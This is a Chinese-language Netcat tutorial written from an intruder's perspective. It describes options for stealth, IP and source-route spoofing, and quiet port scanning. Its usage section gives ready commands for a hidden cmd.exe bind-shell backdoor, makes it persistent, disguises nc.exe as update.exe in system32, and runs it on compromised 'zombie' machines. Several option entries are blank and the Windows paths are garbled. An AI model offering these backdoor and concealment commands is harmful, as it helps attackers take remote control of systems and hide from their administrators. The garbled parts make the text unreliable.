在入侵中它是最经典的工具之一 ,Netcat被所有的网络安全爱好者和研究者称之为瑞士军刀,通过名字大家就能知道他的功能足够丰富。
nc的全称为NetCat,它能够建立并接受传输控制协议(TCP)和用户数据报协议(UDP)的连接,Netcat可在这些连接上读写数据,直到连接关闭为止。它可以通过手工或者脚本与应用层的网络应用程序或服务进行交互。从技术上来讲,NetCat并不能产生UDP连接,因为UDP是一种无连接的协议。NetCat没有图形界面,很粗糙,很原始。
nc可以通过很多途径下载得到,unix和Winodws平台下的官方站点是:http://www.atsake.com/research/tools/network_utilities.
nc的命令行
nc的基本命令行形式是 nc [options] host ports,其中host是要扫描的主机名或IP地址,ports要么是一个单独的端口,要么是一个端口范围(用m-n的形式指定),要么是一系列用空格隔开的单个端口。
-d 只对Windows操作系统有用,该选项使NetCat以隐蔽模式工作,从而脱离MS-DOS命令提示符下环境运行,使得nc不需要保持打开命令窗口便可在监听模式下运行,也可以帮助黑客很好地隐藏监听NetCat实例而不被系统管理员发现。
-e
-i
-g
-G该选项让用户在-g选项所指定的路由列表中指定的一个地址作为当前的下一路由,由于IP地址为4字节大小(IPV4),所以这个参数总是4字节的倍数;例如,4代表路由表中的第一个IP地址,8代表第二个IP地址,依次类推。这在伪造部分源路由表使得报文看起来相当的有用。在进行欺骗和源路由时,这个功能有助于屏蔽你的位置,但也不一定能接收到响应报文,因为响应报文将经过由伪造的IP地址反路由回来。
-l 该选项切换nc的监听模式。此选项必须与-p选项一起使用以告诉nc绑定某个指定的TCP端口并等待到来的连接。若换成-u选项,则应使用UDP端口而非TCP端口。
-L 该选项在Windows版本中有用,当一个连接被关闭后,使用相同的命令行选项进行重启监听模式,即使此时初始的连接已经结束,nc也能在不需要用户干涉的情况下接收后面新的连接。与-l一样,必须与-p同时使用。
-n 该选项告诉我们nc不做任何主机名查找的工作。
-0
-p
-r 该参数使nc可以随机选择本地和远程端口。当使用nc在系统中范围很大的一批端口上获取信息时,要想混合源端口和目标端口的顺序看起来不怎么象端口扫描,这个选项是很有用的。当这个选项与-i选项和一个足够大的间隔结合使用的时候,在不被注意的端口扫描成功几率能得到很大提升。
-s 指定nc建立连接时所使用的IP地址,该选项允许黑客做一些工作,它允许黑客隐藏他们的IP地址或假冒他人的IP地址,但是要得到路由到他们所欺骗的地址的任何信息,都需要使用-g源路由选项。其次,当处于监听模式时,大多数情况下都可以与一个已经监听的服务“预先绑定“,所有TCP和UDP服务都绑定到某个端口。
-t 如果使用telnet选项编译,nc就可以与telnet服务器进行telnet选项协商,虽然它的响应是毫无意义的信息,但可以通过该状态看到连接23端口的信息。
-u nc使用UDP而非TCP,在客户模式和监听模式下都起作用。
-v 控制nc将要做的事情达到的程度,如使用nc -v,那么nc将仅吐出它所接收到的数据,一个单独的-v可以知道它连接或绑定的地址是否有问题发生,第2个-v可以让nc在一个连接结束的时候让你知道这个连接总共发送和接收了多少数据。
-w
nc的具体使用
c:nc.exe -l -p 4455 -d -e cmd.exe 可以很好的隐藏一个NetCat后门。
c:nc.exe -p 4455 -d -L -e cmd.exe 这个命令可以让黑客利用NetCat重新返回系统,直到系统管理员在任务管理器中看见nc.exe在运行,从而发现这个后门,我们一样可以把它做的更加隐蔽,
c:move nc.exe c:windowssystem32Driversupdate.exe
c:windowssysteme32driversupdate.exe -p 4455 -d -L -e cmd.exe
系统管理员可能把特权附属于一些无害的程序,如update.exe等,黑客也可以隐藏命令行。
c:windowssystme32driversupdate.exe
cmd line: -l -p 4455 -d -L -e cmd.exe
c:>
nc -l - p 80 监听80端口
nc -l -p 80 >c:log.dat 监听80端口,并把信息记录到log.dat中
nc -v -l -p 80 监听80端口,并显示端口信息
nc -vv -l -p 80 监听80端口,显示更详细的端口信息
nc -l -p 80 -t -e cmd.exe监听本地的80端口的入站信息,同时将cmd.exe重定向到80端口,当有人连接的时候,就让cmd.exe以telnet的形式应答。当然这个最好用在控制的肉鸡上。
nc -v ip port 扫瞄某IP的某个端口
nc -v -z ip port-port扫描某IP的端口到某端口
nc -v -z -u ip port-port扫描某IP的某UDP端口到某UDP端口